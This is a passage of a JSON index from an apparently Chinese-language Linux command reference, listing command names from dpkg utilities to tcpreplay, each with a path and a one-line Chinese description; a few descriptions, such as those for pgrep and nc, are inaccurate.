Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或关闭shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"设置或显示系统环境变量"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"fc":{"n":"fc","p":"/fc","d":"修改历史命令并执行"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业放到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型。"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具。"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用。"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"用来打印指定用户所属的工作组"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"在屏幕上显示指定文件的开头若干行"},"help":{"n":"help","p":"/help","d":"显示帮助信息"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"用于显示历史命令"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"用来打印当前主机的数字化标识"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况。"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"显示用户的ID以及所属群组的ID"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量 "},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示Linux中的任务列表及任务状态"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"删除执行中的程序或工作"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"用来显示用户名称"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件。"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称。"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"在Linux系统中计算文件内容行号"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"设置用户的认证信息，包括用户密码、密码过期时间等"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版。"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"用于删除目录栈中的记录"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中。"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录加入命令堆叠中"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器。"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"绝对路径方式显示用户当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"定义只读shell变量或函数"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小。"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"运程执行Linux系统下命令 "},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序。"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"将文件进行排序并输出"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令，命令返回退出状态。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息。"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"将文件以行为单位的反序输出"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出。"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"Linux下的归档使用工具，用来打包和备份。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器。"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":